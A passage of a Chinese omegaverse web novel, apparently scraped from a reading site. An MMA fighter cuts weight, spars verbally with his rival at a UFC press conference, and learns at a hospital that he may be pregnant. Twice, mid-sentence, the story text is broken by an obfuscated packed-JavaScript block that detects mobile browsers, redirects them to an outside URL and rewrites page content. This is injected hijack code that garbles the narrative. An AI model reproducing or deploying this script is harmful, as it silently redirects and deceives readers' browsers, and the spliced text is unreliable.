“临时退赛哪是那么好找替补的?何况他不是大热选手,人家也不愿卖他这个人情。” 这话虽然直白,但却是事实。想到最近伍沛霖依旧训练得刻苦勤勉,没有一日落下,洛城心里闷闷的,忍不住生出了几分同情。这时曹教练拍拍他:“行了,快去热身吧,今天训练防摔和柔术。”洛城“哦”一声,将长裤脱掉,正式投入了暴汗与肌肉痉挛的地狱。 ------------------------ 六月九号那天,UFC官方发出消息,格伦奥康纳与其备赛团队正式出发,飞抵申城进行赛前减重和最后的备战。曹教练刷到这个视频,特意伸长了手给笼子里的洛城看:“嘿,他还穿了西装呢,为了宣传真是煞费苦心啊。” “那肯定得好好宣传了,毕竟是大热的人气选手,长得也不赖,这次比赛说不定还能收获一帮亚洲粉丝呢。” 说到这个,曹教练忍不住八卦地问他:“你说,过几天赛前发布会,律总会不会给你置办一身新的行头?我记得你那套西装都穿过三次了,这次可是头条主赛的发布会,难道还要穿旧衣服?” “拉倒吧,他给我置办?花的钱最后还不是要从我奖金里扣!”洛城露出鄙夷的神情:“我还是自己买吧,免得欠他个人情!” 你自己买……曹教练欲言又止,就你那审美,能挑到什么好的款式?但没敢说,默默地又坐了回去,心想反正不需要自己操心,律总会考虑周全的。 此时距离比赛只剩下7天,备赛训练告一段落,赛前减重迫在眉睫。洛城刚称过体重,198斤,距离轻重量级的上限只差14斤,看来这次减重不会太辛苦。不过这个数据却把整个备赛团队惊着了:“怎么才198斤?阿城,你最近热量摄入不够吗?” “够啊!”洛城虽然答得飞快,但话音颇有些含糊:“就是最近胃不大舒服……老胀气想吐,可能吸收不大好,就瘦了点儿。” “胃不舒服?你去医院看了吗?”曹教练拧着眉问。 “买了点儿胃药吃。”洛城“害”一声,显然没当回事,“就那个美国蟑螂做的药,店员说对胃溃疡什么的很有用,我就买了几瓶来喝。” 闻言,曹教练严肃地绷起脸,似乎有些头疼:“……虽说赛前要逐步降低体重,但你这减得也太快了——三天前不还是206斤么?我现在担心你临场体重恢复不到位,在力量上就白白输给格伦一截!哎,你吃不下饭怎么不早点儿跟我们说呢?” “我没有吃不下饭……”悻悻地辩解着,洛城垂着眼嘀咕道:“大不了我脱水这几天再多吃点儿嘛,力量训练也补一补,临场那天不会差多少的。” 头疼地瞪着他,曹教练沉默半晌,终于是叹了口气,无奈地扭头对体能教练道:“把洛城这七天的食谱调整一下,增加蛋白质的比例……我们只能最后再冲刺一把了。” 13. 赛前发布会 脱水的流程,洛城其实已经很熟悉了——为期五天左右,先猛灌蒸馏水,再断水,每天逐步减少水的摄入量,但依旧要暴汗训练,以此来减去体内的水分。这个过程听上去好像很轻巧,但实施起来却分外磨人心智。洛城每次减重都会情绪暴躁,以往的爽朗与不羁全部消失,剩下的只有无边无际的心烦意乱。 这时候,备赛团队都识相地不去惹他,其他同事也不会自讨没趣。只有新来的愣头青没见过这阵仗,还以为稀松平常呢,凑上来贱兮兮地问:“城哥,怎么样,减得难受不,想不想喝水啊?” 洛城喘着粗气,浑身的汗像雨一般淌下来:“滚。” 周青云以为他开玩笑,依旧不知死活地嬉皮笑脸:“没事没事!城哥你好好减,等比完赛我请你喝酒,喝冰饮料!哈哈哈哈哈!” “……滚!”洛城猛地抬眼,双目似火,一个正蹬狠狠踹在他屁股上!周青云“嗷”一声,忙不迭跑远了,甚至不敢回头。其他人幸灾乐祸地看着他跑回来,忍不住奚落道:“跟你说你又不信……挨揍了吧?城哥以前那是跟你客气呢,你还真以为他脾气好啊?” 一般来说,洛城的体重超出不多,减重比其他选手要轻松些,尤其这次只差14斤,他想着,减个三四天就差不多了吧?然而,当第二天力竭暴汗后站上体重称时,消耗的体重居然只有3斤!他与备赛团队都惊呆了:“怎么才减了这么点儿?” “是运动强度不够大么?” 体能邓教练赶忙翻看一下今日的训练数据,也是百思不得其解:“没有啊,强度足够的,跟以往没太大差别。” “那怎么才减了三斤!”曹教练无法相信这个数据,让洛城换了个体重秤又称一遍,结果确确实实只减了这么多。他不禁焦灼地团团转着,冥思苦想是哪儿出了问题。洛城心里本就没底,再被他的焦虑一感染,当下不禁心浮气躁地低吼:“行了行了,大不了明天提高强度就是,在这儿瞎纠结什么,大家都等着休息呢!”说完,用力地摔了毛巾便走。 其他人像鹌鹑般默默悚立着,嘴巴紧闭,大气都不敢出一口。曹教练面色僵硬地瞪着他背影,忍不住“啧”一声:“本事没长,脾气倒是长了!……真不让人省心。” 但又能怎么样呢?洛城是公司最优秀的运动员,减重又最折磨心智,这几天也只能耐着他了。 ----------------- 气冲冲回到家里,洛城一进门就见餐桌上摆着敏姨给他做的高蛋白减脂餐,而且很体贴地把饮料一项减去了,甚至水壶也收了起来,就怕他看了口渴。心中顿觉触动,他站在玄关用力闭上眼,口中长长呼出一口气……那股躁动的焦虑似乎也随着那口气吐了出来,慢慢消散。 还是先冲个澡吧。 冲澡时,水流哗啦啦打在身上,清凉的感觉淌遍全身,却唯独淌不进干灼的喉管、浇不灭心中的燥火。洛城草草冲了会儿便逃出来了,免得下一秒就忍不住张嘴狂喝水!然而吃饭也是一种折磨,软硬适中的米粒仿佛带着剌嗓子的倒钩,干粘而难以下咽。口水徒劳地分泌着,企图濡湿嘴里的食物,但当他努力把食团咽到喉咙时,干涩紧张的喉管还是一阵抽搐,把胃里的酸水都一齐推了出来! ……怎么越来越容易吐了? 疑心自己买的胃药不对症,洛城疲惫地摸出手机搜一搜,准备另买两种胃药回来试试。下了单斜眼一瞥,桌上饭菜还原模原样的,没动几筷子。无奈,只得寻思着把它们打成糊糊,看看能否灌下肚。 鱼肉、牛肉、粗粮和坚果青菜混合打成一种米棕色的粘稠物体,闻起来虽然不算糟糕,但那面目全非的可疑模样,洛城只看一眼便又开始干哕:“呕……”他抽搐地趴在座椅的扶手上,差点儿将胃都吐出来。 好好一顿饭最后还是喂了厕所。没有办法,洛城只好有气无力地走进厨房,从冰箱里摸出5颗鸡蛋,只加了一点儿水打成浓蛋液,准备做个水蒸蛋。他手法粗糙,蛋液没有过滤,上锅后也没盖保鲜膜,最后蒸出来满是蜂窝孔。不过他也不在意,一大碗扛到餐厅,三下五除二便吃了个干净。 值得庆幸的是,这一次,敏感的胃没有再发作。 第二日是赛前发布会。洛城早上九点到达训练馆,一进门就发现闻人律已经在大堂等待多时了。他跟曹教练一行人在低声讨论着什么,冷不丁看见洛城,这个俊美高傲的Alpha轻轻一挑下巴,用眼神示意他走上前,言简意赅地命令道:“去化妆室,今天给你准备了几套西装,你去试一试——”还挥手给他指派了一个女性Beta:“林秘书,你跟他去,挑出适合他的那一套。” “最适合的……”年轻的女秘书似乎有些拿不定主意:“是要最绅士的吗?” 绅士?这个词显然不能让闻人律满意。他拧眉思考了两秒,随即眼神一定,果断道:“……要最霸道、最帅的。” 这两个形容词让洛城郁燥的心情微妙地变好了一些。 他跟林秘书有过几次接触,还算熟悉,试衣的过程中便忍不住问人家:“这几套西装,律总都买下来了吗?” 林秘书正站远了给他拍全身照,拍好之后一边审视一边回答:“没有。这是律总动用自己的关系跟Armani借来的,让你先试,最后选中一套付钱,其他的再还回去。” “哦。”也不知道这钱最后会不会从自己奖金里扣。洛城撇撇嘴,走进更衣室,试最后一套白西装。这套西装配的内搭是一件酒红色的丝绸衬衫,贴身垂坠,光泽感十分强烈,穿上后显得特别轻佻、骚气。望着镜中的自己,洛城忍不住打鼓,心想这一身是不是太浮夸了?却不料走出来后,林秘书居然双眼一亮,火速拍了张全身照发给闻人律:“律总,我觉得这套白的特别好,您意下如何?” 闻人律正心不在焉地听汇报呢,感觉手机震动,立刻翻转查看。只见率性不羁的高大格斗选手一身宽松的白色廓形西装,酒红色衬衫松开最上面三颗扣,露出隐约的饱满胸肌,深蜜色皮肤在这样鲜明的色彩下被衬得更加性感。脱水的痛苦给他惯来散漫的气质蒙上了一层阴鸷,这一刻,洛城像一只被饥饿侵扰的猛兽,虽然衣冠楚楚,但那股野性与躁动却通过不耐烦的视线显露了出来,仿佛下一秒就会伏地现形,张开锋利的爪牙。 ……这才是巨星嘛。 细微地一挑右眉,闻人律挑剔地点点头,回了几个字:“就要这套。” --------------- 由于少了一名参赛拳手,所以这次登峰只派了三辆车到发布会现场。UFC方面的摄影团队自洛城下车的那一刻便怼上来了,镜头贴得极近,想必是要拍一些带有压迫感的特写。为了不妨碍拍摄,闻人律特意坐在后车,等他们走远了才不紧不慢下车来,与陆庭风、林秘书一起慢悠悠地跟上去。 场馆内灯火通明,各家体育媒体悉数到齐,观众席也已经坐得满满当当。这是UFC第一次在申城举办数字赛,以前只办过两次的“格斗之夜”,规模相去甚远,出场选手的咖位也远远不及,所以这一次的阵仗大了许多。洛城在后台候场时都能听见嘈杂的人声:“这么吵……不会来了两万人吧?” 陆庭风撩开幕布瞟一眼,摇摇头:“一万五左右。” 那也相当可观了!以往洛城去海外参赛,赛前发布会的场馆都不会太大,观众也只有一万到八千人。这一次申城数字赛的规模堪比国外的整百场次,大后天的比赛又是在梅赛德斯奔驰中心举办,可容纳2.3万人之多,各大视频平台转播时再收个费……想到国内不可估量的观众基数,洛城不禁咋舌:难怪Dana卯着劲儿要进军中国市场呢。 赛前发布会的流程并不复杂,选手发言也多是放放狠话之类,所以不需要准备什么台本。但这次比赛太过重要,闻人律不放心普通翻译,特意派了陆庭风来坐镇。这人还唉声叹气呢:“有那么紧要嘛,把我都祭出来了?一群初中学历的人相互呛声而已,不至于连这都翻译不好吧?” “我不是怕翻译不好,我是怕威力不够——明白吗?”闻人律白他一眼,“就洛城那个脑子,别人含沙射影他都听不出来,又能呛出什么狠话?之前那个翻译也是中规中矩,不够张扬,所以说,这事儿还非得你来不可。” 一旁的林秘书听得“噗嗤”一声,赶忙掩住嘴。陆庭风不禁翻个白眼,低声咒骂着走向洛城那边:“操!……好好好,我来我来。我这个人啊,最会阴阳怪气了!” 十五分钟后,最后一名选手格伦奥康纳终于到达会场。 隔着半个后台,洛城可以看到这个金发男人略显烦躁的面色,本就瘦削的脸因为脱水而愈发瘦骨嶙峋,配上深陷的眼窝和阴晴不定的神情,更加显得阴沉可怖。似乎察觉到自己的视线,对方也望了过来——躁动的、轻蔑的神情,只短促地停留一瞬,便不耐烦地抽了回去。 两分钟后,发布会开始。宽大沉重的幕布缓缓揭开,所有选手顺次走上台前,在观众的欢呼声中一一落座。洛城被安排在最中间的位置,与格伦奥康纳隔着不远不近的三米距离,正好被主持人分开。他俩是头条主赛的大热明星,所以发言被安排在最后。在听着其他选手相互呛声之时,洛城忍不住频频朝右侧打量,观察这个比自己年轻三岁的金发斗士——格伦坐姿坦荡,目视前方,一脸倨傲而从容的神情。仿佛这儿不是赛前发布会现场,而是家里的客厅。 他穿着修身的西装。紧绷的袖管勾勒出大臂的线条,那是他以前不曾有过的饱满臂围。 ……忍不住捏一下自己的大臂,洛城深吸一口气,眼观鼻、鼻观心,默默地想:看来还是得去一趟医院。好好查一查这个胃,到底是出了什么毛病! 半小时后,发言环节终于进行到他们这里。台下有记者急切地提问:“iron fist!虽然格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572147|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伦的排名比你低三位,但他这次的出场费却是你的整整两倍,你怎么看待这种情况呢?” 操!洛城当即在心里咒骂了一声,这人是哪个媒体的,怎么哪壶不开提哪壶?沉吟两秒,他若无其事地拿起话筒回答道:“因为在这一次比赛中,他遭受的击打数将会是我的2倍,所以Dana提前给他付了医药费,就是这么简单。” 陆庭风忍不住给了他一个赞许的眼神,随即语调戏谑地开始翻译。洛城好整以暇地等待着——以他对格伦的了解,这小子绝对不会等翻译结束才开始反驳。果不其然,陆庭风只翻译到一半,对方就急不可耐地大喊出声:“I take more money because I am more famous and powerful than you,you understand ? You''re old,iron fiste on, admit it !don''t run away from reality!” 老!老!老!老子才三十一岁,正是格斗选手的黄金年龄,哪是你这个愣头青可比的?洛城冷哼着,斜眼瞥他:“我老吗?我虽然三十一了,但入行至今,还从来没有减重失败过。倒是你,在中量级连续超重三次,不得不升到轻重量级打比赛。这样看来,你这个年轻人的身体机能跟年龄不大符合啊。” 以前的格伦确实是靠着自己的大骨架和极限减重在中量级以虐菜出名的,他最讨厌别人拿这段往事说嘴了,于是立刻翻了脸,蹦起来就对着洛城破口大骂。场面一时间乱了套,主持人和几名安保奋力拦着格伦,不让他越过中线。然而洛城也不是省油的灯,迎上去昂着下巴不断挑衅。再加上其他选手在不断起哄,气氛剑拔弩张,仿佛马上就要打起来。 这种激烈冲突的场面最讨媒体和观众的喜欢了。霎时间,场馆中欢呼声和尖叫声不绝于耳,闪光灯更是没有停过,几乎连成了晃眼的白昼。陆庭风伸手挡着强光,从人群中默默地挤了出来,躲到角落。望着那群狂热的选手,和台下同样狂热的媒体和观众,他忍不住心想:啧啧啧,这次比赛的收视率,那可绝对有保证啦! --------------- 中午十二点半,发布会结束。洛城饥肠辘辘地跟着他们走出会场,被外头炽热的阳光明晃晃一晒,晕得眼前花白了一瞬。曹教练还说回场馆再吃饭,身后一只大手沉重地搭到他肩上:“就近吃吧……我快饿死了。” 前面的闻人律和陆庭风都望过来,见他面色不大好,不禁奇怪地对视一眼:“你没吃早餐吗?” “胃不舒服,没吃多少。”洛城神情萎靡地揉揉胃部,又摆摆手:“没事,减重结束就好了。” “那你们随便找个饭店吃吧,费用跟林秘书报销就行。我还有事,先走了。”大老板总是很忙的,连吃饭的半个钟也挤不出来,急匆匆地先离开了,还顺便拉走了颇想留下来一起吃饭的陆庭风。洛城倒觉得挺不错:“走了好,省得咱们不自在。” 来到附近的饭店,曹教练给大家开了个小包厢,又问服务员要了菜单点菜。直到这时,洛城才觉出这个决定的失策之处——这些人点菜要报菜名的!听着他们念叨“烧鸭”、“红烧肉”、“脆皮五花肉”等美味,洛城气得灵魂都要出窍了,当即站起身,生无可恋地挪了出去:“我还是自己去外头开个小桌吧……” 那几人一怔,随即不约而同地笑了起来。 没滋没味儿地点了一盘蒜子牛肉粒、一盆上汤娃娃菜和一碟清蒸刀鱼,洛城连饮料都没敢要,只打算喝点儿汤补补水分。蒜子牛肉粒是最先上来的,其次是娃娃菜,最后是清蒸刀鱼。这一家的牛肉炒得不错,娃娃菜也煮得清甜,他本来吃得津津有味,结果刀鱼一端到面前,一股冲鼻的鱼腥味扑到脸上,恶得他猝不及防地一呕,差点儿在大庭广众之下吐了出来! 服务员脸都白了:“客人!那个,要不我给您换个菜……” 一边呕一边艰难地摆手,洛城好不容易止住抽搐,用力捂着嘴站起身,跌跌撞撞地往卫生间走:“没事,不是你们的问题……呕!” 在卫生间把刚才吃下去牛肉和娃娃菜吐了个一干二净,洛城的眼泪都呛出来了,面部涨得通红,总感觉整个身体在异样地发热。无法,他艰难地直起身,靠着门板给曹教练发了个信息:“我的胃实在不舒服,得去医院看看。你们走的时候记得帮我那桌结账,我只点了三个菜,别付多了。” 交代完,他有气无力地走出饭店,拦下一辆计程车坐到后排,摊手摊脚的,久久无话。司机是个中年男性Beta,耐心地从后视镜中看着他,问了他两次:“先生,您要去哪里?” “最近的医院是哪家?”洛城恍惚地问。 “交大附院。”司机答。 “……那就去交大附院。”说着,他疲惫地闭上了眼。 14. 我怎么可能怀孕 长这么大,洛城还没有上医院看过病。 他的身体惯来强健,平常顶多得个感冒咳嗽,到小诊所买两副药吃一吃就好了,连发烧都很少有。他仅有的就医体验基本上都是跟职业相关的,什么脑震荡、手指骨折、关节错位,严格来说,是“受伤”,而不是“生病”。 所以这一次来看胃病,他傻呆呆地杵在人流如织的医院大堂里,竟连挂哪一科都不知道。 懵懵懂懂地排到窗口,洛城问工作人员:“胃病挂哪一科呀?” 对方戴着口罩,抬头望他一眼,半晌又望了一眼,似乎被他显眼的外形惊到了:“挂消化内科。现在没有专家号了,只有普通号,你要吗?” “哦,那就挂个普通号吧。”付了钱,接过挂号单,洛城根据医生的指示来到七楼,一出电梯,他就发觉这一层颇为清净,不像大堂那样乱糟糟的。在候诊室找了个座位坐下,他忍不住四下张望一番,数一数候诊人数,诧异道:“这个科的病人真的不多哎……” “那当然啦,附属医院的王牌科室又不是消化内科。你如果带你家夫人去看产科,那可就有得等喽。”身侧冷不丁传来一个苍老的声音,洛城扭头看去,见是一个头发花白的老爷子,正笑眯眯地上下打量他:“年轻人,我看你人高马大的,胃也不好啊?” 洛城也笑:“是啊,最近老吃不下饭,想吐,就来看看。” “想吐啊,那可能是糜烂性胃炎……”老爷子俨然是久病成医了,拉着他絮絮叨叨,交流一些病友经验。十五分钟后,老爷子的号先排到了,又过了三分钟,广播里开始叫洛城的号。坐诊了一早上的Beta医生好像有些累,问诊时有气无力的:“这样的情况多久了?……半个多月了啊。吃了什么药吗?有没有缓解?……” 问完后,他沉默了约莫七八秒钟,忽然抬头望向洛城:“中午吐得只剩黄水了是吗?那要不做个无痛胃镜吧?胃镜最准确。” “啊?”洛城刚才被老大爷科普了胃镜的可怖,现在不禁有些抗拒:“不能做胃肠彩超吗?” “胃肠彩超也可以,但是准确性没那么高……不过既然你不愿意,那我也只能给你开彩超了。”医生干净利落地给他开了张B超单,指指楼下:“b超室在三楼,拍完了再来找我复诊。” “好。”拿了单子往外走,洛城走进电梯,鹤立鸡群的高大身材立刻引来众人侧目。其中一个Omega女生在呆愣三秒之后,难以置信地喊出了他的大名:“洛城!你怎么来医院了?” 对待Omega,洛城总是春风和煦的:“我胃不舒服,来医院看一看。” 对方显然是个格斗迷,双眼闪闪发亮,兴奋得不能自已:“是减重减得难受吗?” 居然还知道减重啊?颇为意外地露出一个笑,洛城道:“差不多吧,这几天难受得特别明显。” 不多时,电梯停在五楼,Omega女生准备走了,便摆摆手给他大声鼓劲儿:“我去看病啦,你比赛要加油啊!一定把格伦打趴下!” 洛城也摆摆手,笑得灿烂:“好。” 看来自己的知名度还是可以的嘛……本以为综合格斗不算普及,走在路上也不会有人认出自己呢。心里不禁美滋滋的,洛城到了b超室,看见门口大排长龙也不以为意,交了单子就坐到一旁开始优哉游哉地玩手机。 等待时,又有一个Alpha男生凑过来叫他的名字,说是他的粉丝,请求合影。洛城还打趣呢,没想到会在这里遇见我吧?大男生点点头,笑得有些腼腆:“确实没想到。我中午还在看赛前发布会的直播呢……你连衣服都没换啊。” 低头瞥一眼自己身上张扬的西装,洛城忽然明白了自己被频频注目的原因,不禁“害”一声:“我倒是想换呢,但胃实在不舒服,就先过来检查了。” 两人又随意聊了几句,半晌,洛城忽然想起什么,正色提醒道:“赛前你记得不要在网上发我们的合照啊,也别透露我不舒服这个事情,知道吗?” “嗯嗯,不会的,我肯定等到赛后再发!”大男生用力点头,神色中甚至带着一丝诚惶诚恐。洛城满意地大力拍他肩,别说,那模样确实有点儿可怖,像个打扮轻佻的□□打手。 两人的谈话最终以男生被叫进b超室结束,半个钟后,前方排队的人终于清零。一名护士端着杯淡黄色的糊糊走过来,往他面前一递:“洛城是吧?把这个喝下去,就可以去检查了。” 洛城一愣,下意识凑到杯口闻了一闻,好像是杂粮粥:“这是什么?” “造影剂,杂粮做的。” 杂粮啊……这个倒是可以吃,反正现在也饿得要命。于是仰起头一口气喝了,把空杯丢到垃圾桶,洛城抹抹嘴走进B超室,居高临下地问:“到我了吗?” B超医生明显被他吓了一跳,眼睛瞪得圆圆的:“妈呀……!你是巨人啊!” 洛城笑了:“没那么夸张吧,我也就一米八氿而已。” “但是你肩膀宽啊!”抚着胸口顺顺气,医生指指里头,道:“进来吧。去帘子后头,解开上衣躺到床上,露出整个胸腹。” 洛城“唔”一声,脱下西装外套挂到床尾衣架上,又解开衬衫的扣子,露出了饱满的胸肌和整整齐齐的八块腹肌,躺到床上仿佛一片可口的牛奶巧克力。另一名医生看得双眼发直,睫毛紧张地颤啊颤,还用力咽了口唾沫。洛城忍不住笑:“医生,你第一次看见这样的身材吗?” “差、差不多吧。”急慌慌地往他胃部、腹部涂上耦合剂,这名年轻的女医生好似有些不自在,偏开脸用力地将探头怼过来,把洛城戳得“唔”了一声:“医生,你轻点儿……” “轻点儿怎么看内脏啊,就是要重一点才看得清。”另一名医生冷酷地道。她应该是老前辈,坐在一旁不疾不徐地指导年轻的医生:“对,胃那里,用力一点,慢慢扫……” 感觉着胃部的重压,这一刻,洛城那点儿轻飘飘的心情总算是被拽了下来,不开屏了,也不自得了,躺在床上老老实实地当个病人。随着探头在肚子上的逐渐下移,他觉得自己仿佛变成了一块纯粹的肉,什么性感、什么帅气,在医生眼中通通没有意义。他们看见的只是病灶,而不是自己惹眼的外形。 当探头来到盲肠位置时,医生问了一句:“最近这里痛过吗?” 洛城摇摇头:“这里不痛。不过……”他忽然想起之前练击腹时肚子深处隐痛的那处,抬手找一找,指向盆腔正中靠下的位置:“这里痛过几次。是比较深的地方,揉都揉不到。” “比较深的地方?”医生狐疑地停顿一秒,补擦了些耦合剂到下腹,“不会是结肠吧?” 探头用力压下去,慢慢挪动,仪器屏幕上出现了一片白光中带着起伏阴影的画面。两名医生都不再说话,而是静默地仔细检视着,这样的死寂反倒让洛城感觉不安。忽然,年轻的医生“咦”一声,轻声道:“陆医生,你看这里……它怎么会这么大?Alpha的应该没有这么大吧。” “是啊……以Alpha的退化程度,那个地方应该看不见才对。” 说着,医生又把探头用力压了一下,试图查得更清晰,但好像无功而返:“不行,没有憋尿,看不清楚……” 听到这儿,洛城心慌意乱的,终于忍不住了,问:“医生,你们在说什么啊?是我的肠胃出了什么问题吗?” “嗯?”两名医生同时望过来,眼中带着意犹未尽的好奇神情:“没有,你的肠胃挺好的,没有胃炎,也没有其他的病。就是有个地方好像不大对劲……你等等啊,我摇个人来看看。” 洛城见她摸出手机飞快地拨了个号,等待之时还不忘交待年轻的医生:“小林,你先帮他打报告,让他去外头等着,别耽误后面的病人……哎!宁医生吗?我老陆啊。是这样的,我这儿碰见个Alpha病患……” 心中惴惴不安的,洛城接过林医生递来的纸擦干净肚子,一边穿衣服一边伸长了耳朵偷听。陆医生的手机好像有些漏音,隔着两米的距离,他都能听见对面那个宁医生的话:“我今天休息,不在医院……虽然是离得很近,但我也有自己的事啊。” “你少哔哔,我这儿真有个病患,挺特别的!你之前不是嚷嚷说缺课题吗,那还不赶紧过来看看,说不定课题就找到了呢?” “真的?陆医生你别骗我,骗我的话明天要请吃饭。” “吃你个头啊吃,快点儿过来吧!” ------------------- 本以为到医院走一趟就能把胃病迎刃而解了,却没想到引出了另外的问题?洛城茫然地坐在候诊室里,忍不住拿起b超单看了又看——画面中确实有一个黑色空腔,不大,但是非常明显,像一个小气球,嵌在自己的盆腔里。他忍不住想,难道是一个肿瘤?又或者是……一个畸胎瘤!? 小时候看的科普节目在这一刻奇异地回忆了起来,洛城疑心自己是不是在老妈肚子里时不小心吞并了双胞胎兄弟,所以留下了“罪证”。就在他胡思乱想的时候,一个身着黑色休闲西装的颀长Alpha从面前掠过,风一般走到了B超室门口:“老陆,你说的病患在哪儿啊?” “在外头呢……哟,今天打扮得人模狗样的,怎么,刚才在约会啊?” “是啊,可惜被你一个电话叫回来了。” 洛城心烦意乱地抬头望,就见那个Alpha男人在陆医生的指引下转过身,露出了一张戴着无框眼镜的“斯文败类”脸。对方一看见他,脸上明显愣住了,眼神逐渐震惊:“……洛城?怎么是洛城……洛城怎么会在这里?” 得,又是一个粉丝。 不禁有些尴尬,洛城站起身,伸手同大步走来的Alpha短促一握,干笑着打了个招呼:“宁医生,你好。” “你好你好,我是宁祁!”这名宁医生长得很高,温润柔和的桃花眼几乎与他平视,只不过瘦削一些:“你不是刚出席了赛前发布会么,怎么跑来医院了?是哪里不舒服?” “……他肠胃不舒服。”陆医生在身后凉凉地说着,用力瞪了宁祁一眼:“你们不能去办公室再寒暄么,站在候诊厅像什么话!” “对,应该去办公室。”赶忙将洛城引向陆医生的办公室,宁祁微微正色,斯文有礼的模样,看起来确实像个年轻有为的医生。但不知怎的,在他的殷切注视下,洛城却感觉有些不舒服……他仿佛是看见了一只非常有研究价值的小白鼠,那种见猎心喜的情绪来不及掩饰,非常直白地从眼角眉梢透了出来。 “我可以看看吗?”坐到办公桌前,宁祁朝他伸出手,探询地索要B超单。洛城犹豫两秒,还是递了过去——他本来是忐忑地垂着眼,但下一秒就忍不住盯紧了宁祁的眼神,企图从他的表情中判断自己病症的严重程度。 一开始,宁祁的眼神是镇定的,但很快就变得困惑、难以置信,甚至带上了一分震惊。最后,他用这种混杂了以上所有情绪的复杂眼神望向洛城,小心翼翼地问询道:“你最近两个星期……经常呕吐,对吗?” “……对。”洛城神色僵硬,一双手攥在桌下,心中紧张极了。宁祁又问:“你以前有正常的易感期吗?” “有,基本上每年三四次。”怎么开始问易感期了?洛城不禁拧眉。 “嗯……”沉吟一会儿,宁祁又看了看b超单, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572148|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随即小心翼翼地打量着他,问:“我想给你做个盆腔b超,不过要喝水憋尿,可以吗?” “为什么要做盆腔b超?”至此,洛城再也耐不住了,沉着脸不满道:“我到底是什么问题,你直说吧,别跟我打哑谜!是不是长了肿瘤,还是别的什么?!” “不不不,不是肿瘤。”赶忙起身安抚他,宁医生好像也颇为头痛,眉心为难地拧着,苦笑道:“想要确诊你的症状,我需要做进一步的检查,所以才问你能不能憋个尿,做一次仔细的盆腔b超……” “我现在在脱水减重,后天早上就要称重了,你让我怎么喝水憋尿啊!……看不了就不看了,反正医生说我肠胃没问题!” 忍不住一拍桌子,洛城气冲冲地站起身就要走,宁祁赶忙拦到他面前,退让道:“那要不抽个血吧?抽个血查一下HCG,很快的,我帮你加急!” HCG是什么?洛城不大懂,但这个办法听上去简便许多,他踌躇两秒,板着脸点了点头:“行,那就抽个血。” “哎,好。”顿时大喜过望,宁祁领着人就要去抽血。忽然,他好像想起什么,转过身小心翼翼地又问:“……顺便再查个染色体吧,好吗?多500块钱而已。” ……怎么那么啰嗦啊?!洛城心烦气躁地翻个白眼,咬牙低吼:“好好好,做做做!” 宁祁赶忙闭紧了嘴。 ---------------------- 在医院耗了三个多钟依旧没个结果,洛城的心情已然差到极点,连曹教练给他打电话他都不想接。过了一会儿,检查报告没出来,备赛团队的连环夺命call倒是接踵而至。他不禁“啧”一声,拿出手机查看,得,这回换成体能教练来催命了。 心烦意乱地又点了拒绝,洛城给曹教练发了条简短的信息:“还在医院等报告。”曹教练立即回复过来:“……吓死我了你!等报告就等报告,为什么不接电话?还以为你出了什么意外呢!” 懒得跟他解释,洛城沉着脸把手机一关,又塞进了兜里。 四点二十分,宁祁拿着报告单姗姗来迟。洛城扭头见他走进办公室,脸上带着一种谨慎、小心翼翼但又难掩震撼的表情,欲言又止地望向自己,还安抚似的地笑一笑:“你……你先别紧张,我慢慢跟你分析。” “什么紧张,我没紧张。”洛城板着脸,但生硬的嘴角还是暴露了一丝情绪。 见状,宁医生定定神,抬手将检查单递了过来:“你看看这一项……你的人绒毛膜促性腺激素,也就是hcg,数值爆了,高达17w。” 17w?洛城不明白这个数值的意义,不禁愈发急躁:“什么意思,说明白点!” 宁医生深吸一口气,小心翼翼道:“这个数值,结合刚才的b超结果——你很有可能是怀孕了。” ……怀孕? 这个词太过诡异,洛城不禁傻了眼,双眸愕然瞪大,大脑也一瞬间宕了机。办公室里横亘着震惊的死寂——仿佛是一个世纪那么漫长的几秒,他忽然暴起,一把揪住宁祁的衣领,怒声暴喝:“操,你放什么狗屁呢?!” 凳子猝然翻倒,发出刺耳的声音。宁祁被迫与洛城震怒的双眸对视着,身子前倾,后颈被衣领勒得极难受,脸上不禁露出苦笑神情:“……所以我只说是可能啊!现在还没有做子宫b超,没看到孕囊,我也不敢确认……不过欧洲和南美洲那边确实发现过几例AO双性患者。他们的情况跟你有点相像,大体性征以Alpha为主,30岁后Alpha的激素水平逐渐下降,Omega的特质开始显现……” 他一边说着,一边小心翼翼地观察洛城的神情,企图从他细微的变化中搜寻到一些蛛丝马迹:“染色体检验的结果还有三个钟才能出来……不如你先回忆一下,你青春期时有没有什么不寻常的状况?一般Omega的器官会比Alpha的发育得晚一些,常常表现为低热,发烧,微微发胖……” 闻言,洛城的眼神果然一怔,混入了迟疑的情绪。见状,宁祁再接再励:“以及,最近两个月,你的身体有没有什么异常,是不是出现了奇怪的热潮期?又或者,有没有跟其他Alpha……” 他想问,你有没有跟其他Alpha有过亲密接触?但话只说到一半,洛城恍然的眼神瞬间变得锐利,像刀子一般甩了过来,宁祁也只能赶忙闭上嘴。不过,他这个问题显然戳中了最关键的地方——洛城的表情没有刚才那么笃定了,有什么东西好像在他心中轰然坍塌,发出的震撼甚至使他脚下一晃,大掌失魂落魄地收了回去。 